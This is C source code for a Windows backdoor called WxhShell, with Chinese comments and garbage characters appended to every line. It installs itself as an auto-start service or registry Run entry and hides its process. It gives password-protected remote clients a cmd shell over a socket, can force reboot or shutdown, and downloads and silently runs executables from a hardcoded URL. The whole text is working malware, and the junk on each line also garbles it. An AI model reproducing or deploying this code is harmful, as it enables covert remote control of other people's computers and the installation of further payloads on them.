    if(Boot(SHUTDOWN)) q^^R|X1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m;xa}b{(i  
    else { gG.+3=  
    closesocket(wsh); xfX|AC  
    ExitThread(0); T1Z*>(M  
    }  Glx{Zu=  
    break; OKau3T]  
    } Y^d#8^cP  
  // 获取shell +.^pAz U}R  
  case 's': { bcu Uej:  
    CmdShell(wsh); VFnxj52<  
    closesocket(wsh); e8:O2!HW  
    ExitThread(0); VE/m|3%t  
    break; izl-GitP  
  } wKfq'W{  
  // 退出 @Q nKaZ8jW  
  case 'x': { ]xb2W~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e~># M $  
    CloseIt(wsh); ~X<$ l+5  
    break; ]Y->EME:W  
    } :TKx>~`  
  // 离开 XrMw$_0)  
  case 'q': { K+L9cv4 |*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }c= Y<Cdh  
    closesocket(wsh); \0;w7tdo  
    WSACleanup(); /?Y4C)G  
    exit(1); w&es N$2  
    break; k[<i+C";  
        } s{X+0_@Q  
  } 4T$jY}U  
  } Dh#5-Kf%  
 4y5Q5)j  
  // 提示信息 S_??G:i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x+'Ea.^  
} kDQE*o  
  } l$HBYA\Qh  
MZX@Gi<S[  
  return; C~.\2D`zy  
} cR55,DR,#W  
ih75 C"  
// shell模块句柄 2p 7;v7)y  
int CmdShell(SOCKET sock) f` -vnh^+  
{ l`X?C~JhJ  
STARTUPINFO si; r~,3  
ZeroMemory(&si,sizeof(si)); 9]G~i`QQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vGJw/ij'X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vt(}8C+  
PROCESS_INFORMATION ProcessInfo; u!It' ;j  
char cmdline[]="cmd"; { Ngut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pxyFM@Z](  
  return 0; Ho&f[T(  
} S @!z'$&  
"_BWUY  
// 自身启动模式 !VudZ]Sg  
int StartFromService(void) Aq'~'hS`1  
{ kxAT  
typedef struct 5OFB[  
{ D^];6\=.i  
  DWORD ExitStatus; D6yE/QeK4  
  DWORD PebBaseAddress; :y{@=E=XSC  
  DWORD AffinityMask; ] ONmWo77o  
  DWORD BasePriority; HuSE6an  
  ULONG UniqueProcessId; ao (Lv+  
  ULONG InheritedFromUniqueProcessId; N0K <zxR  
}   PROCESS_BASIC_INFORMATION; -Fop<q\b  
o:as}7/^  
PROCNTQSIP NtQueryInformationProcess; mmNn,>AO!  
pA@R,O>zr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rT4qx2u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g*4^HbVxt  
_IxYnm`pc  
  HANDLE             hProcess; fp3`O9+em  
  PROCESS_BASIC_INFORMATION pbi; JV !F<  
EQHCw<e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G-vkkNj%e  
  if(NULL == hInst ) return 0; +^rt48${ y  
(Nf!E[ }Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wYv++< z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %(\et%[]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K}whqe]j  
R"F:(  
  if (!NtQueryInformationProcess) return 0; i{HzY[  
*J4 \KU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z{F^qwne  
  if(!hProcess) return 0; +j8-l-o  
:F"NF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cvtn,Ml6  
7s0y.i~  
  CloseHandle(hProcess); AuBBSk8($  
00Ye ]j_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9r8bSV3`  
if(hProcess==NULL) return 0; a?W<<9]  
{G|= pM\'  
HMODULE hMod; ^O"o-3dte  
char procName[255]; v//Drj  
unsigned long cbNeeded; `'bu8JK  
1u }2}c|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uXG$YDKqC  
sbhUW>%.  
  CloseHandle(hProcess); zrC1/%T  
$TAsb>W!(  
if(strstr(procName,"services")) return 1; // 以服务启动 /}d)g4\j  
H$zDk  
  return 0; // 注册表启动 =%[vHQ\%  
} `w "ooK  
{~Q}{ha  
// 主模块 2 jxh7\zE  
int StartWxhshell(LPSTR lpCmdLine) jnFN{(VH  
{ (~PT(B?  
  SOCKET wsl; O;(n[k  
BOOL val=TRUE; ~Hb0)M@y7  
  int port=0; ZJjm r,1  
  struct sockaddr_in door; B6!ni@$M8X  
`Q>qmf_Fi  
  if(wscfg.ws_autoins) Install(); ExOSHKU,e  
Z?eedVV@  
port=atoi(lpCmdLine); 0o 8V8 :  
6D*x5L-1o  
if(port<=0) port=wscfg.ws_port; J b7^'P  
 y]ya.YG  
  WSADATA data; *44E'Dxv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O%} hNTS"  
@< 0c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t6%zfm   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R:44Gv7  
  door.sin_family = AF_INET; &?9~e>.OS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BGO pUy  
  door.sin_port = htons(port); Gs*X> D  
Z/e[$xT <  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `TDS 4Y  
closesocket(wsl); R]S!PSoL  
return 1; fQ2U |  
}  S^5Qhv  
M(Yt9}Z%Y  
  if(listen(wsl,2) == INVALID_SOCKET) { vH"^a/95|  
closesocket(wsl); x^YsXzu  
return 1; j>hBNz  
} lBG"COu  
  Wxhshell(wsl); CG!9{&F  
  WSACleanup(); @@6c{r^P  
|q\Rvt$d  
return 0; yV) 9KGV+:  
z) "(&__  
} ~ =$d>ZNQ  
c 1{nOx  
// 以NT服务方式启动 #b;TjnC5{$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9_%??@^>  
{ ?r.U5}PBI  
DWORD   status = 0; <x:^w'V_b  
  DWORD   specificError = 0xfffffff; H+N6VVnO  
wJWofFz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; B(R$5Xp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -JdNA2P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h,i=Y+1  
  serviceStatus.dwWin32ExitCode     = 0; 2)|G%f_lS  
  serviceStatus.dwServiceSpecificExitCode = 0; Okd7ua-f  
  serviceStatus.dwCheckPoint       = 0; *Ud P1?Y  
  serviceStatus.dwWaitHint       = 0; p2wDk^$  
)JR&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =$< .:b  
  if (hServiceStatusHandle==0) return; }I~)o!N%7  
R'B-$:u  
status = GetLastError(); BIjkW.uf  
  if (status!=NO_ERROR) $< .wQ8:Q  
{ Fma#`{va  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /t _QA  
    serviceStatus.dwCheckPoint       = 0; [T2!,D.  
    serviceStatus.dwWaitHint       = 0; F<2qwP  
    serviceStatus.dwWin32ExitCode     = status; i#Z#(D `m  
    serviceStatus.dwServiceSpecificExitCode = specificError; f"G-',O<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AhNz[A  
    return; hsZ@)[/:  
  } !=vd:,  
7@!3.u1B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D.x&N~-  
  serviceStatus.dwCheckPoint       = 0; Q\*zF,ek  
  serviceStatus.dwWaitHint       = 0; " 8g\UR"[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ] N7(<EV/  
} eeOG(@@o(  
M4L<u,\1s  
// 处理NT服务事件,比如:启动、停止 yOm#c>X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sbq:8P#  
{ ?#/~ BZR!  
switch(fdwControl) O _^Y*!  
{ I=4G+h5p  
case SERVICE_CONTROL_STOP: cg}lF9;d  
  serviceStatus.dwWin32ExitCode = 0; zw%1 a 3!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xcci)",!  
  serviceStatus.dwCheckPoint   = 0; E*#5OT  
  serviceStatus.dwWaitHint     = 0; j k/-7/r  
  { 249DAjn+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7naI*O  
  } BBRZlx  
  return; ?p &Xf>K  
case SERVICE_CONTROL_PAUSE: J L2g!n= K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'LLpP#(  
  break; rTA#4.*&  
case SERVICE_CONTROL_CONTINUE: _>Oc> .MB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qGECw#  
  break; iY3TB|tMt  
case SERVICE_CONTROL_INTERROGATE: S1_):JvV  
  break; a}kPc}n\  
}; 3q0S}<h al  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #i-b|J+%  
} U{8x.CJ]  
7m;<b$  
// 标准应用程序主函数 Y]+KsiOL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -;&-b>b  
{ &B} ,xcNO  
'17V7A/t  
// 获取操作系统版本 Qa,$_ ,E  
OsIsNt=GetOsVer(); jFwJ1W;?-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vk|xYDD  
;% l0Ml>  
  // 从命令行安装 _?;74VWA  
  if(strpbrk(lpCmdLine,"iI")) Install(); fI-f Gx  
Eyg F,>.4  
  // 下载执行文件 v=?/c-J*  
if(wscfg.ws_downexe) { 7y=1\KW(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CjmF2[|  
  WinExec(wscfg.ws_filenam,SW_HIDE); :2AlvjvjZ  
} Qsr+f~"W  
(bGk=q=M  
if(!OsIsNt) { kFQx7m  
// 如果时win9x,隐藏进程并且设置为注册表启动 E[>A# l53  
HideProc(); cf*SWKs  
StartWxhshell(lpCmdLine); hU 5_ dV  
} *\$ko)x?c  
else l+<AM%U\ V  
  if(StartFromService()) >ToI$~84  
  // 以服务方式启动 Lv:;}  
  StartServiceCtrlDispatcher(DispatchTable); a]0hB:  
else {R5_=MG  
  // 普通方式启动 5_4 =(?<  
  StartWxhshell(lpCmdLine); eVGW4b  
Poxoc-s  
return 0; F|?}r3{aJ  
} C$`^(?iO/  
NdM \RD_R  
zl)r3#6hW  
w,;ox2  
=========================================== $qM&iI-l0  
OA&r8WK3  
(xMq(g  
!.w|+-JKO  
=wFl(Q6J  
#[sJKW  
" ,? V YrL  
8k?V&J `  
#include <stdio.h> ;H"OZRQ  
#include <string.h> 4gn|zSe>^  
#include <windows.h> O]Q8&(  
#include <winsock2.h> M~g@y$  
#include <winsvc.h> {R7m qzt  
#include <urlmon.h> 921s'"  
cC TTjx{  
#pragma comment (lib, "Ws2_32.lib") ` 6pz9j]  
#pragma comment (lib, "urlmon.lib") K,Hxe;-  
,gIeQ!+vy  
#define MAX_USER   100 // 最大客户端连接数 OwLJS5r@<-  
#define BUF_SOCK   200 // sock buffer fTd":F  
#define KEY_BUFF   255 // 输入 buffer OTmr-l6  
Q*R9OF  
#define REBOOT     0   // 重启 qex::Qf  
#define SHUTDOWN   1   // 关机  +Q+!#  
c"NGE  
#define DEF_PORT   5000 // 监听端口 )wk9(|[o  
hGo/Ve+@  
#define REG_LEN     16   // 注册表键长度 SQDc%I>b  
#define SVC_LEN     80   // NT服务名长度 ,sltB3f  
P$"s*otr  
// 从dll定义API &IkHP/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Iv`B:4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $QaEU="Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S vW{1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8FQNeQr  
0D}k ^W  
// wxhshell配置信息 .zvvk  
struct WSCFG { J&;' gT  
  int ws_port;         // 监听端口 cEEnR1  
  char ws_passstr[REG_LEN]; // 口令 F& ['w-n%  
  int ws_autoins;       // 安装标记, 1=yes 0=no /5Xt<7vm8  
  char ws_regname[REG_LEN]; // 注册表键名 L}>ts(!q&  
  char ws_svcname[REG_LEN]; // 服务名 K#dG'/M|Pb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @mEB=X(-l=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {hx=6"@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j]6YLM@5$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gflO0$i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p I@!2c:}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,UneS  
q5>!.v   
}; [`bA,)y"  
AnQUdU  
// default Wxhshell configuration -9$.&D|  
struct WSCFG wscfg={DEF_PORT, pwo @ S"  
    "xuhuanlingzhe", - 4B&{P  
    1, h]k1vp)Q y  
    "Wxhshell", ^6 \@$   
    "Wxhshell", Uk4G9}I  
            "WxhShell Service", x6 h53R  
    "Wrsky Windows CmdShell Service", Gvc/o$_  
    "Please Input Your Password: ", b`|,rfq^AZ  
  1, m<|fdS'@  
  "http://www.wrsky.com/wxhshell.exe", `6o5[2V  
  "Wxhshell.exe" R5fZ }C7  
    }; sb</-']a  
Fc a_(jw  
// 消息定义模块 gr4JaV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pYX!l:hk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b&.3uls6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yH.Z%*=xQa  
char *msg_ws_ext="\n\rExit."; w,zm!  
char *msg_ws_end="\n\rQuit."; &H?Vlx Ix  
char *msg_ws_boot="\n\rReboot..."; )h/Qxf  
char *msg_ws_poff="\n\rShutdown..."; LO)p2[5#R  
char *msg_ws_down="\n\rSave to "; DC*6=m_  
Lg+cHaA  
char *msg_ws_err="\n\rErr!"; >!#or- C  
char *msg_ws_ok="\n\rOK!"; Ej'N !d.  
6KKQ)DNu_  
char ExeFile[MAX_PATH]; ]?~[!&h  
int nUser = 0; "qw.{{:tf  
HANDLE handles[MAX_USER]; [ejl #'*5  
int OsIsNt; `B7?F$J  
ZnD(RM  
SERVICE_STATUS       serviceStatus; i{k v$ir!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1f0maN  
%DhLU~VX  
// 函数声明 tdn|mX#  
int Install(void); +=(@=PJ6  
int Uninstall(void); }*56 DX  
int DownloadFile(char *sURL, SOCKET wsh); L7s _3\  
int Boot(int flag); 4,:)%KB"V  
void HideProc(void); \w2X.2b.F  
int GetOsVer(void); {e83 A /{  
int Wxhshell(SOCKET wsl); 4m6%HV8{}[  
void TalkWithClient(void *cs); ' y_2"  
int CmdShell(SOCKET sock); =v~$&@  
int StartFromService(void); @<44wMp  
int StartWxhshell(LPSTR lpCmdLine); Z^GXKOeq  
h($Jo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {D4N=#tl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); / 2h6  
>RKepV(X7  
// 数据结构和表定义 bdvVPjGc&  
SERVICE_TABLE_ENTRY DispatchTable[] = OCI{)r<O2m  
{ 0Y/k /)Ul]  
{wscfg.ws_svcname, NTServiceMain}, ou [Wz{  
{NULL, NULL} NucLf6  
}; . "`f~s\G  
OZE.T-{  
// 自我安装 E# *`u  
int Install(void) dlc'=M  
{ ex)U'.^  
  char svExeFile[MAX_PATH]; B[[1=  
  HKEY key; !tuK.?q|l  
  strcpy(svExeFile,ExeFile); vXibg  
wKAxUPzm  
// 如果是win9x系统,修改注册表设为自启动 s7:w>,v/  
if(!OsIsNt) { ]VK9d;0D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xO;Qr.3PX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N#7_)S[@0l  
  RegCloseKey(key); PsI{y&.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wbh^ZMQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); seNH/pRb  
  RegCloseKey(key); qF4DX$$<  
  return 0; _H$Z }2g<z  
    } )Tad]Hd"W  
  } K?,`gCN}v  
} GlaZZ,   
else { 09Y:(2Qri  
P:c 'W?  
// 如果是NT以上系统,安装为系统服务 @v n%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i|G /x  
if (schSCManager!=0) ]C$$Cx)Ex  
{ q%wF=<W  
  SC_HANDLE schService = CreateService z. xRJ  
  ( 1DM$FG_Z-  
  schSCManager, ^%Fn|U\u  
  wscfg.ws_svcname, d4A3DTW  
  wscfg.ws_svcdisp, zM<yd#`yt8  
  SERVICE_ALL_ACCESS, n_-k <3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R!7a;J}  
  SERVICE_AUTO_START, pOIfKd  
  SERVICE_ERROR_NORMAL, P%Wl`NA P  
  svExeFile, t}Kzh`  
  NULL, " {Nw K  
  NULL, x DX_s:A  
  NULL, qN6GLx%  
  NULL, Oa -~}hN  
  NULL lK #~lC  
  ); 2%t!3F:  
  if (schService!=0) vmT6^G  
  { 2Jn?'76`  
  CloseServiceHandle(schService); f'B#h;`  
  CloseServiceHandle(schSCManager); LrnE6 U9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D}EH9d  
  strcat(svExeFile,wscfg.ws_svcname); v{TISgZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o@:u:n+.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RUlJP  
  RegCloseKey(key); f`_6X~ p  
  return 0; ]\oE}7K%r  
    } f{f|frs  
  } cUZ^,)8 Z  
  CloseServiceHandle(schSCManager); U%_6'5s{^  
} PoRL35  
} M@O<b-  
T eBJ  
return 1; S3_QOL  
} u^&,~n@n7  
4L[-[{2  
// 自我卸载 v@ OM  
int Uninstall(void) _c6 zzGtH  
{ Lcy>!3q3~  
  HKEY key; `jH0FJQ  
?&r >`H E  
if(!OsIsNt) { vA, tW,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "AMsBvzgo  
  RegDeleteValue(key,wscfg.ws_regname); bL18G(5  
  RegCloseKey(key); >?0f>I%\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D_Cd^;b  
  RegDeleteValue(key,wscfg.ws_regname); 6Pu5 k;H  
  RegCloseKey(key); nv"D  
  return 0; ?c# v'c^=h  
  } 4p_@f^v~QH  
} HH,G3~EBF  
} p4I6oS`/.  
else { ~CL^%\K  
1dX)l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kR|(hA,$N  
if (schSCManager!=0) z}*74lhF  
{ ;/<J& #2.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v0S7 ]?_  
  if (schService!=0) Sh RkL<  
  { ]; G$~[  
  if(DeleteService(schService)!=0) { pM7xnL4  
  CloseServiceHandle(schService); jRzQ`*KC#  
  CloseServiceHandle(schSCManager); E| =~rIKN  
  return 0; U2VnACCUZs  
  } ^LJ?GJ$g  
  CloseServiceHandle(schService); J0"<}"  
  } \.jT"Z~  
  CloseServiceHandle(schSCManager); &li&P5!i  
} /-jk_8@a  
} @^93q  
@Xe[5T  
return 1; R^F\2yth-  
} W L5!H.q  
D^W?~7e ^r  
// 从指定url下载文件 I@9k+JB   
int DownloadFile(char *sURL, SOCKET wsh) OM 5h>\9  
{ haMt2S2_B:  
  HRESULT hr; za@`,Yq  
char seps[]= "/"; {BKr/) H  
char *token; H&zhYKw  
char *file; S vR? nN|  
char myURL[MAX_PATH]; 4`+hX'  
char myFILE[MAX_PATH]; Oy/+uw^  
r)SwV!b  
strcpy(myURL,sURL); /R44x\nhr  
  token=strtok(myURL,seps); L(!mm  
  while(token!=NULL) ^atBf![  
  { 27Ve$Q8]v  
    file=token; v J.sa&\H  
  token=strtok(NULL,seps); <xeo9'k6&  
  } y*5bF 0  
Gd 5J<K  
GetCurrentDirectory(MAX_PATH,myFILE); Q.G6 y,KR  
strcat(myFILE, "\\"); u2xb^vu  
strcat(myFILE, file); >O&:[CgEF  
  send(wsh,myFILE,strlen(myFILE),0); y}bE'Od  
send(wsh,"...",3,0); *T'>-nm]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s8<)lO<SV.  
  if(hr==S_OK) mME a*9P  
return 0; .\> I-  
else e.IKmH]z  
return 1; Fv6<Cz6L  
h .Iscr^~  
} =a .avOZ  
X6dv+&=?  
// 系统电源模块 xPi/nWl`|  
int Boot(int flag) `?ijKZ}y5  
{ U:.  
  HANDLE hToken; @n##.th  
  TOKEN_PRIVILEGES tkp; /hMD Me  
'M#'BQQ5  
  if(OsIsNt) { |VL(#U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); " '/$ZpY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;9R;D,Gk!  
    tkp.PrivilegeCount = 1; Jh'\ nDz@e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f}c z_"o4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0-W{(xy@4  
if(flag==REBOOT) { IJA WG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e/;chMCq  
  return 0; ^3L6mOoA  
} ^^I3%6UY  
else { /8SQmh$+e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  TVP.)%  
  return 0; i>C:C>~  
} ;ip"V 0`  
  } a!>yX ex  
  else { I!ykm\<  
if(flag==REBOOT) { bVc;XZwI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |&t 2jD(  
  return 0; ui:  
} \&p MF  
else { oiq7I@Y`x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j:9kJq>mv  
  return 0; < g<Lf[n$  
} 0} UJP   
} {<HL}m@kQ  
6"Km E}  
return 1; _ s]=g  
} 0NB6S&lI^k  
lr[a~ca\  
// win9x进程隐藏模块 w$cic  
void HideProc(void) # Pulbk8  
{ @]#0jiS  
G w$sL&1m\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i~dW)7  
  if ( hKernel != NULL ) ''Y}Q"  
  { ?5#Ng,8iT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 64^dy V,;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J2`b:%[  
    FreeLibrary(hKernel); XLK#=YTI  
  } -T4{PM  
#cBt@SEL'  
return; -BNlZgk-^  
} QJ`#&QRp  
y#AwuC K  
// 获取操作系统版本 o?f7_8fG  
int GetOsVer(void) G"= tQ$ZU  
{ N;A #3Ter  
  OSVERSIONINFO winfo; \vB-0w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ey77]\  
  GetVersionEx(&winfo); B8^tIq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3:i4DBp,i  
  return 1; bUC-}  
  else fn zj@_{|  
  return 0; @xJ qG"  
} 9lA@ K[  
PnsQ[}.  
// 客户端句柄模块 E/ <[G?  
int Wxhshell(SOCKET wsl) l[O!_bH  
{ ?=]`X=g 6  
  SOCKET wsh; x+vNA J  
  struct sockaddr_in client; qwu++9BM  
  DWORD myID; ~ySmN}3~'  
^j?\_r'j  
  while(nUser<MAX_USER) L!3AiAnr  
{ W>Y8 u8  
  int nSize=sizeof(client); .$DB\jJXjV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6u3DxFiTm  
  if(wsh==INVALID_SOCKET) return 1; xa`&/W>  
]],6Fi+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >eg&i(C+  
if(handles[nUser]==0) sQ/7Mc  
  closesocket(wsh); z= -u89]  
else mf'N4y%  
  nUser++; >wjWX{&?  
  } aTs5^Kh')  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f- pt8  
:<=!v5 SK  
  return 0; 0K'lr;  
} <JHU*Z  
V; 1r  
// 关闭 socket rm>;B *;  
void CloseIt(SOCKET wsh) v#.FK:u}  
{ *$x/(!UE  
closesocket(wsh); >\K<q>*  
nUser--; /d5_-AB(v  
ExitThread(0); a\\B88iRRZ  
} 4@|K^nT`  
-vI?b#  
// 客户端请求句柄 .b]g# Du=  
void TalkWithClient(void *cs) Z9ciS";L  
{ v@;:aN  
j-ugsV`2=*  
  SOCKET wsh=(SOCKET)cs; tnbaU%;|J  
  char pwd[SVC_LEN]; L1`^~m|  
  char cmd[KEY_BUFF]; 0/<}.Z]  
char chr[1]; [kzcsJ'/e  
int i,j; $nQ; ++  
StWDNAf)  
  while (nUser < MAX_USER) { %4cUa| =?  
)$yqJ6y5  
if(wscfg.ws_passstr) { qFW- ~T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^aDos9SyV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gLQWL}0O  
  //ZeroMemory(pwd,KEY_BUFF); !h7`W*::  
      i=0; Ly\$?3 h  
  while(i<SVC_LEN) { P"_x/C(]@J  
&by,uVb=|{  
  // 设置超时 m^h"VH,   
  fd_set FdRead; BnqAv xX  
  struct timeval TimeOut; =2bW"gs I  
  FD_ZERO(&FdRead); je.jui"  
  FD_SET(wsh,&FdRead); (`4^|_gw  
  TimeOut.tv_sec=8; -:m;ePK  
  TimeOut.tv_usec=0; 4QK([q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JiP]F J;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &6,GX7]Fo  
*%'4.He7V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h$~ NPX  
  pwd=chr[0]; %|Gi'-'|b$  
  if(chr[0]==0xd || chr[0]==0xa) { YWM$%   
  pwd=0; zY(*Xk  
  break; .t xgb  
  } j*Q/vY!T  
  i++; Gp$[u4-6M6  
    } nTY`1w.;  
@.T'  
  // 如果是非法用户,关闭 socket J$&!Y[0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E3.=|]W'  
} }f^r@3Cb3  
eGvHU ;@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9#/z [!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <!K2xb-d^  
Y:G6Nd VFM  
while(1) { B8Jev\_  
'rHkJ  
  ZeroMemory(cmd,KEY_BUFF); Iqe4O~)  
%B3E9<9>U  
      // 自动支持客户端 telnet标准    ;e()|  
  j=0; 88d0`6K-9  
  while(j<KEY_BUFF) { y ']>J+b0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H0 km*5Sn  
  cmd[j]=chr[0]; gnNMuqt  
  if(chr[0]==0xa || chr[0]==0xd) { V8NNIS  
  cmd[j]=0; Vfp{7I$#6"  
  break; u7fae$:&  
  } y .S0^  
  j++; A2uSH@4  
    } XV)ej>A-V  
t3 *2Z u  
  // 下载文件 }{:H0)H*  
  if(strstr(cmd,"http://")) { f&H):.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~y_TT5+ 3  
  if(DownloadFile(cmd,wsh)) ~({aj|Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k x6%5%  
  else R7e`Wn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l:8gCi  
  } -'&MT :L  
  else { <y6M@(b  
:r:5a(sq  
    switch(cmd[0]) {  o9#  
  -&M9Yg|Se  
